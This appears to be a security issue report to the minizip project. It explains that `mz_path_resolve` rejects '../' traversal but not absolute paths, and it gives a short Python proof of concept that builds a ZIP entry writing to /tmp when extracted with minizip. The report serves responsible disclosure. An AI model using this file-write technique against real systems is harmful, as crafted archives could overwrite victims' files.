Arbitrary File Write Vulnerability Through Absolute Path

Hi team, I think there is still a small problem about Arbitrary File Write in minizip. While the previous fix correctly addressed the symlink-based attack vector, there is another concern in function `mz_path_resolve`. Currently, `mz_path_resolve` only filters relative traversal paths such as `../..`, but it does not reject absolute paths. As a result, a ZIP file contains an absolute path can cause unintended file writes outside the extraction directory. #### PoC We can generate a zip file with absolute path ```py import zipfile import os def generate_exploit_zip(zip_name, target_absolute_path, file_content): with zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED) as zf: info = zipfile.ZipInfo(filename=target_absolute_path) info.external_attr = 0o644 << 16 zf.writestr(info, file_content) if __name__ == "__main__": zip_filename = "exploit.zip" target_path = "/tmp/pwned_by_minizip.txt" content = b"PWN" generate_exploit_zip(zip_filename, target_path, content) ``` And then call `./minizip -x exploit.zip`, we can see that `/tmp/pwned_by_minizip.txt` is created.